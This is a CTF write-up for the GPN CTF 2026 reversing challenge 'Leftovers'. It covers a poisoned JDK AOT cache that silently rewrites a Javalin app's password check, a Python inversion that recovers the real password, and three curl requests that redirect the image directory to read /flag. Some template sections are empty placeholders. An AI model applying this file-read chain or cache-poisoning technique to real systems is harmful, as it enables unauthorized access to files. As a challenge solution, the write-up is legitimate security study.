← Back to Writeups
HTBN/AReversing

Leftovers

XESXOR8/23/20267 min read
#reversing#htb#n/a

Leftovers

Platform: GPN CTF | Category: Reversing | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-30 | Status: Solved Techniques: aot_cache_poisoning, bytecode_diff, constant_pool_introspection, dynamic_agent_attach, folder_redirect_file_read, instrumentation_redefine_module, retransform_bytecode_dump, rot13_reverse_xor_inversion

Summary

Task: JDK 26 Javalin web app shipped with a custom fastdebug OpenJDK and a poisoned JEP 483 AOT cache (cache.aot) whose cached Server.lambda$main$15 differs from the JAR bytecode, silently changing the set-image-dir password check. Solution: confirm the JAR password 'supersecret' is rejected, attach a dynamic JVMTI agent via jcmd (without invalidating the cache), redefineModule to introspect the constant pool, retransform-dump the AOT-linked bytecode and diff it against the JAR, invert the ROT13->reverse->XOR check to recover password algomaster99, then chain PUT product + POST set-image-dir(newPath=/) + GET /images/flag for arbitrary file read of /flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: gpnctf2026 | ID: 20260530_gpnctf2026_leftovers
  • Tags: ssrf, java, arbitrary_file_read, cache_poisoning, jdk26, aot_cache, project_leyden, javalin, jackson, jep483, jvmti, bytecode_diff
  • Indicators: custom OpenJDK fastdebug build shipped as handout, -XX:AOTCache=cache.aot in ENTRYPOINT, ~51MB cache.aot file (JEP 483 AOT class loading and linking), JAR password 'supersecret' rejected by live server, swapping JDK or adding -javaagent reverts to clean behavior
  • Source: 20260530_gpnctf2026_leftovers.md

Foothold

Vulnerability / Misconfiguration

  1. Aot_cache_poisoning
  2. Bytecode_diff
  3. Constant_pool_introspection
  4. Dynamic_agent_attach
  5. Folder_redirect_file_read
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • aot_cache_poisoning
  • bytecode_diff
  • constant_pool_introspection
  • dynamic_agent_attach
  • folder_redirect_file_read
  • instrumentation_redefine_module
  • retransform_bytecode_dump
  • rot13_reverse_xor_inversion
  • Tags: ssrf, java, arbitrary_file_read, cache_poisoning, jdk26, aot_cache, project_leyden, javalin, jackson, jep483, jvmti, bytecode_diff

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Looking through my Fridge (why does it contain Java programs again?), I found some stale food from yesterday. Surely there's no chance for food poisoning, is there?

English summary: We are given a Java web application (leftovers.jar, Javalin 7.2.0), a custom fastdebug OpenJDK 26 build (my-jdk/), and a ~51 MB AOT cache (cache.aot). The app is launched with -XX:AOTCache=cache.aot. The "food poisoning" pun is the entire challenge: the AOT cache is poisoned — its cached class bytecode differs from the shipped JAR, silently changing application logic. The goal is to abuse this to read /flag.

Analysis

The application (from javap on the JAR)

A Javalin app on port 1337 holding a Set<Product> and an ImageStore. Routes:

  • GET / — renders a "Fridge tracker" HTML listing products.
  • PUT /products/{name} — body ProductInput{product, imageUrl:URI}. Validates name == path param, quantity > 0, bestBefore/notAfter not null, imageUrl scheme http/https. On success registers the product, and if imageUrl != null does an HTTP GET of imageUrl and writes the body to folderPath.resolve(sanitizeName(name)) (an SSRF, but only http/https).
  • GET /images/{name} — finds the registered Product by name, then reads folderPath.resolve(sanitizeName(name)) if it exists / is a regular file / is readable.
  • POST /set-image-dir — body SetImageDir{password:String, newPath:Path}. Validates password != null, runs a password check, and requires newPath to exist and be a directory. On success sets ImageStore.folderPath = newPath to any existing directory.

Key helper sanitizeName replaces [^a-zA-Z0-9_-] with _ — so no path traversal in the name (dots and slashes are stripped). Default folderPath = Path.of("images")/app/images.

The intended file-read primitive

The combination is an arbitrary file read:

  1. set-image-dir lets us point folderPath at any directory (e.g. /).
  2. GET /images/{name} reads folderPath.resolve(sanitize(name)).

Since sanitizeName blocks traversal, we instead move the base directory to / and request a name whose basename matches [a-zA-Z0-9_-]. For /flag: set newPath=/, register a product named flag, then GET /images/flag reads /flag.

The only gate is the set-image-dir password.

The password check (from the JAR)

Server.lambda$main$15 decompiles as:

char[] expected = "supersecret".toCharArray();
char expected0 = expected[0];
boolean eq = Arrays.equals(expected, setImageDir.password().toCharArray());
return eq && expected0 == 's';   // password == "supersecret"

So the JAR source says the password is supersecret. But on the live server, sending "supersecret" returns HTTP 400 "Invalid password". The JAR is lying.

The twist — AOT cache poisoning

The app runs with my-jdk + cache.aot. JEP 483 (Ahead-Of-Time Class Loading & Linking, Project Leyden) stores pre-linked / pre-loaded class state captured during a "training run". At runtime the JVM trusts the cached class form over the JAR bytecode.

cache.aot has no integrity protection against a malicious trainer: there is only a self-consistency CRC plus a check that the JDK build hash and the classpath (size/mtime) match. The author poisoned the cache so the cached copy of Server.lambda$main$15 differs from the JAR — a different password check is actually executed.

Reproduction pitfall (cost real time)

The poisoning only manifests with the exact pristine launch:

/my-jdk/bin/java -XX:AOTCache=cache.aot -jar leftovers.jar

Any of the following invalidates the cache (classpath / module-graph mismatch) and silently reverts to clean behavior (then "supersecret" works, hiding the bug):

  • Running the bundled Temurin JDK (/opt/java/openjdk) instead of /my-jdk.
  • Adding -javaagent at launch.
  • Adding an extra -cp entry.
  • Modifying leftovers.jar.

Lesson: always reproduce with the EXACT given runtime. A substitute JDK or any launch-time instrumentation disables the AOT cache and hides the vulnerability.

Extraction — dynamic JVMTI agent attach

Because any launch-time instrumentation invalidates the cache, the working approach is dynamic agent attach, which does NOT change the classpath:

  1. Start the app under /my-jdk with -XX:+EnableDynamicAgentLoading.
  2. Attach a JVMTI/Java agent at runtime:
   jcmd <pid> JVMTI.agent_load /tmp/agent.jar
  1. The agent uses Instrumentation.redefineModule(java.base, opens java.lang, exports jdk.internal.reflect) to call Class.getConstantPool().getStringAt(i) on the AOT-linked Server. This confirmed CP#134 is still "supersecret" — the String constant was NOT changed.
  2. A retransform/dump agent then dumped the AOT-linked bytecode of Server.lambda$main$15 as loaded from cache.aot and diffed it against the JAR.

The string constant is untouched, but the method body was rewritten — only a bytecode dump of what is actually loaded reveals it.

Bytecode diff — the real check and password inversion

The cached lambda$main$15 body was rewritten to a custom check:

secret = [233,202,85,61,72,144,198,179,218,190,240,59]   # 12-byte XOR key
target = [208,243,48,79,47,246,168,201,184,202,137,85]    # 12-byte expected result
pw = password.toCharArray()
# transform each char: keep '0'-'9' digits as-is, else apply ROT13
reverse(pw)
for i: pw[i] ^= secret[i % 12]
accept iff Arrays.equals(pw, target)

Inverting target (XOR key → reverse → ROT13⁻¹) recovers the real password.

#!/usr/bin/env python3
secret = [233,202,85,61,72,144,198,179,218,190,240,59]
target = [208,243,48,79,47,246,168,201,184,202,137,85]

def rot13_inv(c):
    o = ord(c)
    if ord('0') <= o <= ord('9'):
        return c
    if 'a' <= c <= 'z':
        return chr((o - 97 - 13) % 26 + 97)
    if 'A' <= c <= 'Z':
        return chr((o - 65 - 13) % 26 + 65)
    return c

# 1) undo XOR
xored = [target[i] ^ secret[i % 12] for i in range(12)]
# 2) undo reverse
unrev = xored[::-1]
# 3) undo ROT13 (digits unchanged)
pw = ''.join(rot13_inv(chr(b)) for b in unrev)
print(pw)   # -> algomaster99

Real password: algomaster99.

Pitfall: an earlier pass wrongly concluded "the method always returns false / set-image-dir is permanently locked" because it only brute-forced dictionary words. The method is not always-false — it accepts the one transformed password.

Final exploit — three plain HTTP/1.1 JSON requests

HOST=https://torched-gnocchi-atop-cured-curry-sdeb.gpn24.ctf.kitctf.de

# 1) Register a product whose name() == "flag" (imageUrl null => no download)
curl -s -X PUT "$HOST/products/flag" -H 'Content-Type: application/json' -d '{
  "product": {"name":"flag","quantity":1,
              "bestBefore":"2030-01-01T00:00:00",
              "notAfter":"2030-01-01T00:00:00"},
  "imageUrl": null
}'   # -> 200 "Added product :)"

# 2) Poisoned check accepts algomaster99; move folderPath to /
curl -s -X POST "$HOST/set-image-dir" -H 'Content-Type: application/json' -d '{
  "password": "algomaster99",
  "newPath": "/"
}'   # -> 200

# 3) Read folderPath.resolve(sanitize("flag")) == /flag
curl -s "$HOST/images/flag"   # -> the flag

Verified live and against a local Docker rebuild (leftovers_flag) with a planted /flag.

Note on file location: the read primitive reads any path whose basename matches [a-zA-Z0-9_-] — set newPath to its directory and register a product with that basename. Here the flag is /flag, so newPath=/ + product name flag.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR